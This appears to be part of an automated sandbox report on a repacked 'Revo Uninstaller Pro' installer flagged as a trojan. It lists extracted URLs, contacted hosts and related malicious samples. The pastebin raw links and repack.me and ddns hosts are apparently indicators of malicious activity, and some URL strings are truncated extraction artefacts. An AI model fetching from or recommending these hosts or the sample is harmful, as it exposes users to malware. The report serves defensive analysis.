https://legal.opera.com/terms	setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 0000001E.00000001.2731861623.00000000001EA000.00000002.00000001.01000000.0000001C.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	false	Avira URL Cloud: safe	unknown
https://mail.repack.me/tsjtmfdm.pkgo	Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2362580830.000000000B29C000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2191327824.000000000B29C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://help.opera.com/latest/	setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	false		high
https://www.revouninstaller.com/feedback/?product=pro%d-%d-%dLast	Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006045000.00000004.00000020.00020000.00000000.sdmp, RevoUninPro.exe, 00000009.00000000.2018481789.000000014095B000.00000002.00000001.01000000.0000000C.sdmp, RevoUninPro.exe, 0000000C.00000000.2134444155.000000014095B000.00000002.00000001.01000000.0000000C.sdmp	false		high
http://www.schneier.com/paper-blowfish-fse.htmlS	ruplp.exe, 0000000A.00000000.2096953602.000000000041D000.00000020.00000001.01000000.0000000F.sdmp	false		high
https://policies.google.com/terms;	setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 0000001E.00000001.2731861623.00000000001EA000.00000002.00000001.01000000.0000001C.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	false		high
https://download.opera.com/download/get/?partner=www&opsys=Windows&utm_source=netinstaller	setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	false		high
http://www.mirage-systems.de/tq	ruplp.exe, 0000000A.00000003.2102817735.0000000002C91000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tools.ietf.org/html/rfc4648S	ruplp.exe, 0000000A.00000000.2096953602.000000000041D000.00000020.00000001.01000000.0000000F.sdmp	false		high
http://localhost:3001api/prefs/?product=$1&version=$2..	setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	false	Avira URL Cloud: safe	unknown
https://crashpad.chromium.org/https://crashpad.chromium.org/bug/new	setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	false	Avira URL Cloud: safe	unknown
https://www.opera.com/download/	setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	false		high
https://www.revouninstaller.com/revo-uninstaller-mobile-qr-and-link/	Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004072000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/soap12/SV	ruplp.exe, 0000000A.00000000.2096953602.000000000041D000.00000020.00000001.01000000.0000000F.sdmp	false		high
http://www.color.org	ruplp.exe, 0000000A.00000000.2096953602.000000000041D000.00000020.00000001.01000000.0000000F.sdmp	false		high
http:////file:////www.web.OS	Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000003890000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.000000000569D000.00000004.00000020.00020000.00000000.sdmp, RevoUninPro.exe, 00000009.00000000.2018481789.0000000140887000.00000002.00000001.01000000.0000000C.sdmp, RevoUninPro.exe, 0000000C.00000000.2134444155.0000000140887000.00000002.00000001.01000000.0000000C.sdmp	false	Avira URL Cloud: safe	unknown
https://www.revouninstaller.com/contact-us/C:	Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004072000.00000004.00000020.00020000.00000000.sdmp	false		high
http://autoupdate-staging.services.ams.osa/netinstallervwindows?&One	setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mirage-systems.de/Q	ruplp.exe, 0000000A.00000003.2102817735.0000000002C91000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.opera.com	setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	false		high
https://crashstats-collector-2.opera.com/	setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	false		high
https://autoupdate.geo.opera.com/https://autoupdate.opera.com/me/OperaDesktophttps://crashstats-coll	setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	false		high
http://crl.microsoftRR	powershell.exe, 00000011.00000002.2327417192.00000000083CC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mirage-systems.de/a	ruplp.exe, 0000000A.00000003.2102817735.0000000002C91000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.revouninstaller.com/support/	Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004072000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006045000.00000004.00000020.00020000.00000000.sdmp, RevoUninPro.exe, 00000009.00000000.2018481789.000000014095B000.00000002.00000001.01000000.0000000C.sdmp, RevoUninPro.exe, 0000000C.00000000.2134444155.000000014095B000.00000002.00000001.01000000.0000000C.sdmp	false		high
https://crashpad.chromium.org/	setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	false	Avira URL Cloud: safe	unknown
https://addons.opera.com/en/extensions/details/dify-cashback/	setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	false		high
https://www.revouninstallerpro.com/db/ilogs/Uninstaller	Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006045000.00000004.00000020.00020000.00000000.sdmp, RevoUninPro.exe, 00000009.00000000.2018481789.000000014095B000.00000002.00000001.01000000.0000000C.sdmp, RevoUninPro.exe, 0000000C.00000000.2134444155.000000014095B000.00000002.00000001.01000000.0000000C.sdmp	false	Avira URL Cloud: safe	unknown
https://www.revouninstaller.com/revo-uninstaller-mobile-qr-and-link/Software	Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006045000.00000004.00000020.00020000.00000000.sdmp, RevoUninPro.exe, 00000009.00000000.2018481789.000000014095B000.00000002.00000001.01000000.0000000C.sdmp, RevoUninPro.exe, 0000000C.00000000.2134444155.000000014095B000.00000002.00000001.01000000.0000000C.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	ruplp.exe, 0000000A.00000003.2102817735.0000000002C8A000.00000004.00001000.00020000.00000000.sdmp, ruplp.exe, 0000000A.00000000.2096953602.000000000041D000.00000020.00000001.01000000.0000000F.sdmp	false		high
http://tools.ietf.org/html/rfc1321	ruplp.exe, 0000000A.00000000.2096953602.000000000041D000.00000020.00000001.01000000.0000000F.sdmp	false		high
http://www.opera.com0	setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	false		high
https://pastebin.com/raw/vkwZzU9B.	Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2159455427.000000000B29C000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2159703361.000000000B29C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://opera.com/privacy	setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	false		high
http://csrc.nist.gov/publications/drafts/800-67-rev1/SP-800-67-rev1-2_July-2011.pdfS	ruplp.exe, 0000000A.00000000.2096953602.000000000041D000.00000020.00000001.01000000.0000000F.sdmp	false		high
http://nsis.sf.net/NSIS_ErrorError	Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000000.1750050502.000000000040A000.00000008.00000001.01000000.00000003.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.1970159457.00000000006DD000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmp, PACK.EXE, 00000010.00000003.2198109948.0000000002E54000.00000004.00000020.00020000.00000000.sdmp, PACK.EXE, 00000010.00000003.2199870901.0000000000C50000.00000004.00000020.00020000.00000000.sdmp, PACK.EXE, 00000010.00000003.2198460363.0000000000C4F000.00000004.00000020.00020000.00000000.sdmp, PACK.EXE, 00000010.00000003.2199605579.0000000000C50000.00000004.00000020.00020000.00000000.sdmp, PACK.EXE, 00000010.00000003.2199929800.0000000000C52000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.symauth.com/cps0(	Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp	false		high
https://gamemaker.io)	setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 0000001E.00000001.2731861623.00000000001EA000.00000002.00000001.01000000.0000001C.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	false	Avira URL Cloud: safe	unknown
https://mail.repack.me/	Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2362580830.000000000B29C000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2362051607.000000000B276000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2191327824.000000000B29C000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2191500182.000000000B276000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sourcecode.opera.com	setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 0000001E.00000001.2731861623.00000000001EA000.00000002.00000001.01000000.0000001C.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	false	Avira URL Cloud: safe	unknown
http://www.animation.arthouse.org	ruplp.exe, 0000000A.00000000.2100083068.0000000000D87000.00000002.00000001.01000000.0000000F.sdmp	false	Avira URL Cloud: safe	unknown
https://www.revouninstaller.com/revo-uninstaller-pro-full-version-history/)	Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mail.repack.me/rosoft	Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2362051607.000000000B276000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2191500182.000000000B276000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.micro	powershell.exe, 00000011.00000002.2327417192.00000000083CC000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2323270683.00000000072E4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.Licence-Protector.com	ruplp.exe, 0000000A.00000000.2100083068.0000000000D87000.00000002.00000001.01000000.0000000F.sdmp	false	Avira URL Cloud: safe	unknown
http://www.symauth.com/rpa00	Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/http/	ruplp.exe, 0000000A.00000000.2096953602.000000000041D000.00000020.00000001.01000000.0000000F.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	ruplp.exe, 0000000A.00000000.2096953602.000000000041D000.00000020.00000001.01000000.0000000F.sdmp	false		high
https://gamemaker.io/en/get.	setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 0000001E.00000001.2731861623.00000000001EA000.00000002.00000001.01000000.0000001C.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	false		high
https://gamemaker.io	setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 0000001E.00000001.2731861623.00000000001EA000.00000002.00000001.01000000.0000001C.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	false		high
https://help.instagram.com/581066165581870;	setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 0000001E.00000001.2731861623.00000000001EA000.00000002.00000001.01000000.0000001C.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	false		high
https://www.revouninstallerpro.com/db/ilogs/.ruelDelete	Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004072000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.vsrevogroup.com	Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004DC5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.ietf.org/rfc/rfc3447.txtS	ruplp.exe, 0000000A.00000000.2096953602.000000000041D000.00000020.00000001.01000000.0000000F.sdmp	false		high
http://www.mirage-systems.de/%operationName%	ruplp.exe, 0000000A.00000000.2096953602.000000000041D000.00000020.00000001.01000000.0000000F.sdmp	false	Avira URL Cloud: safe	unknown
https://pastebin.com/raw/vkwZzU9Bd	Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777185500.00000000006D9000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2775823777.00000000006D9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://pastebin.com/raw/vkwZzU9Bget8191	Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2776929770.0000000000663000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.opera.com/privacy	setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	false		high
https://crashpad.chromium.org/bug/new	setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	false	Avira URL Cloud: safe	unknown
http://www.revouninstaller.com/)	Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/envelope/	ruplp.exe, 0000000A.00000000.2096953602.000000000041D000.00000020.00000001.01000000.0000000F.sdmp	false		high
https://pastebin.com/raw/vkwZzU9Bs	Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777185500.00000000006D9000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2775823777.00000000006D9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://gamemaker.io/en/education.	setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 0000001E.00000001.2731861623.00000000001EA000.00000002.00000001.01000000.0000001C.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	false		high
https://legal.opera.com/terms.	setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	false	Avira URL Cloud: safe	unknown
https://pastebin.com/raw/vkwZzU9Bt	Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2159553605.000000000B276000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2362051607.000000000B276000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2191500182.000000000B276000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.mirage-systems.de/	ruplp.exe, 0000000A.00000003.2102817735.0000000002C91000.00000004.00001000.00020000.00000000.sdmp, ruplp.exe, 0000000A.00000000.2096953602.000000000041D000.00000020.00000001.01000000.0000000F.sdmp	false	Avira URL Cloud: safe	unknown
http://repacks.ddns.nethttps://repack.me/ad.htmlopen	Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2776929770.0000000000663000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://telegram.org/tos/	setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 0000001E.00000001.2731861623.00000000001EA000.00000002.00000001.01000000.0000001C.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	false		high
http://csrc.nist.gov/publications/fips/fips46-3/fips46-3.pdfS	ruplp.exe, 0000000A.00000000.2096953602.000000000041D000.00000020.00000001.01000000.0000000F.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/soap/	ruplp.exe, 0000000A.00000000.2096953602.000000000041D000.00000020.00000001.01000000.0000000F.sdmp	false		high
http://www.borland.com/namespaces/TypesA	ruplp.exe, 0000000A.00000003.2102817735.0000000002C6D000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://repack.me/ad.html	Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2776929770.0000000000663000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.movable-type.co.uk/scripts/xxtea.pdfS	ruplp.exe, 0000000A.00000000.2096953602.000000000041D000.00000020.00000001.01000000.0000000F.sdmp	false		high
https://addons.opera.com/extensions/download/be76331b95dfc399cd776d2fc68021e0db03cc4f.opera.com	setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	false		high
http://csrc.nist.gov/publications/drafts/fips180-4/Draft-FIPS180-4_Feb2011.pdf	ruplp.exe, 0000000A.00000000.2096953602.000000000041D000.00000020.00000001.01000000.0000000F.sdmp	false		high
http://www.borland.com/namespaces/Types	ruplp.exe, 0000000A.00000003.2102817735.0000000002C6D000.00000004.00001000.00020000.00000000.sdmp, ruplp.exe, 0000000A.00000000.2096953602.000000000041D000.00000020.00000001.01000000.0000000F.sdmp	false	Avira URL Cloud: safe	unknown
https://www.revouninstaller.com/buy-update-subscription-btn/https://www.revouninstaller.com/buy-now-	Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004072000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006045000.00000004.00000020.00020000.00000000.sdmp, RevoUninPro.exe, 00000009.00000000.2018481789.000000014095B000.00000002.00000001.01000000.0000000C.sdmp, RevoUninPro.exe, 0000000C.00000000.2134444155.000000014095B000.00000002.00000001.01000000.0000000C.sdmp	false		high
https://www.revouninstaller.com/feedback/?product=pro	Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004072000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.csrc.nist.gov/publications/fips/fips197/fips-197.pdfS	ruplp.exe, 0000000A.00000000.2096953602.000000000041D000.00000020.00000001.01000000.0000000F.sdmp	false		high
http://www.borland.com/namespaces/Typesa	ruplp.exe, 0000000A.00000003.2102817735.0000000002C6D000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://autoupdate.geo.opera.com/	setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	false		high
https://twitter.com/en/tos;	setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 0000001E.00000001.2731861623.00000000001EA000.00000002.00000001.01000000.0000001C.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	false		high
https://redir.opera.com/uninstallsurvey/	setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	false		high
http://www.aiim.org/pdfa/ns/id/	ruplp.exe, 0000000A.00000000.2096953602.000000000041D000.00000020.00000001.01000000.0000000F.sdmp	false		high
http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf	ruplp.exe, 0000000A.00000000.2096953602.000000000041D000.00000020.00000001.01000000.0000000F.sdmp	false		high
http://repacks.ddns.netopen	Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2776929770.0000000000663000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.borland.com/rootpart.xml	ruplp.exe, 0000000A.00000000.2096953602.000000000041D000.00000020.00000001.01000000.0000000F.sdmp	false		high
https://mail.repack.me/tsjtmfdm.pkg2	Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2362580830.000000000B29C000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2191327824.000000000B29C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.word-pdf-converter.com/5.67B160777-E232-46C5-8DC0-5BC8B49E77496.1	Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.revouninstaller.com/downloads-manager/?filename=pro-%shttps://www.revouninstaller.com/up	Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004072000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.revouninstaller.comAffHomewww.revouninstaller.comwww.revouninstallerpro.com	Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004072000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006045000.00000004.00000020.00020000.00000000.sdmp, RevoUninPro.exe, 00000009.00000000.2018481789.000000014095B000.00000002.00000001.01000000.0000000C.sdmp, RevoUninPro.exe, 0000000C.00000000.2134444155.000000014095B000.00000002.00000001.01000000.0000000C.sdmp	false	Avira URL Cloud: safe	unknown
https://legal.opera.com/eula/computers	setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 0000001E.00000001.2731861623.00000000001EA000.00000002.00000001.01000000.0000001C.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	false	Avira URL Cloud: safe	unknown
http://www.itl.nist.gov/fipspubs/fip180-1.htm	ruplp.exe, 0000000A.00000000.2096953602.000000000041D000.00000020.00000001.01000000.0000000F.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.20.3.235	pastebin.com	United States	13335	CLOUDFLARENETUS	false
107.167.96.36	na-download.opera.com	United States	53755	IOFLOODUS	false
194.87.189.43	mail.repack.me	Russian Federation	197695	AS-REGRU	false
107.167.96.38	na-autoupdate.opera.com	United States	53755	IOFLOODUS	false
107.167.96.39	unknown	United States	53755	IOFLOODUS	false
107.167.96.30	trn.lb.opera.technology	United States	53755	IOFLOODUS	false
107.167.125.189	submit-trn.osp.opera.software	United States	21837	OPERASOFTWAREUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1571786
Start date and time:	2024-12-09 17:51:31 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	33
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Revo.Uninstaller.Pro.v5.3.4.exe
Detection:	MAL
Classification:	mal44.troj.evad.winEXE@44/128@9/7
EGA Information:	Successful, ratio: 62.5%
HCA Information:	Successful, ratio: 95% Number of executed functions: 376 Number of non-executed functions: 130
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms Sleep loops longer than 100000000ms are bypassed. Single calls with delay of 100000000ms and higher are ignored

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe
Excluded IPs from analysis (whitelisted): 23.212.252.8, 23.212.252.40, 20.109.210.53, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, e125010.dscd.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, v2.download3.operacdn.com.edgekey.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 1260 because it is empty
Execution Graph export aborted for target ruplp.exe, PID 1188 because there are no executed function
Execution Graph export aborted for target setup.exe, PID 2252 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Revo.Uninstaller.Pro.v5.3.4.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.20.3.235	cr_asm3.ps1	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	gabe.ps1	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	cr_asm.ps1	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	cr_asm_atCAD.ps1	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	vF20HtY4a4.exe	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	OSLdZanXNc.exe	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	5UIy3bo46y.dll	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	Lm9IJ4r9oO.exe	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	BeginSync lnk.lnk	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	sostener.vbs	Get hash	malicious	Njrat	Browse	pastebin.com/raw/V9y5Q5vv

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
submit-trn.osp.opera.software	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	107.167.125.189
	PDFViewer_46615443.msi	Get hash	malicious	Unknown	Browse	107.167.125.189
	SecuriteInfo.com.Win64.PWSX-gen.7949.23910.exe	Get hash	malicious	Glupteba	Browse	107.167.125.189
	OperaSetup.exe	Get hash	malicious	Quasar	Browse	107.167.125.189
	OperaSetup.exe	Get hash	malicious	Quasar	Browse	107.167.125.189
trn.lb.opera.technology	https://www.upload.ee/files/17435967/DeltaAirLines_t.delta.com.txt.html	Get hash	malicious	Unknown	Browse	107.167.96.30
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	107.167.96.31
	PDFViewer_46615443.msi	Get hash	malicious	Unknown	Browse	107.167.96.30
pastebin.com	rrats.exe	Get hash	malicious	AsyncRAT	Browse	172.67.19.24
	Q8o0Mx52Fd.exe	Get hash	malicious	Unknown	Browse	104.20.3.235
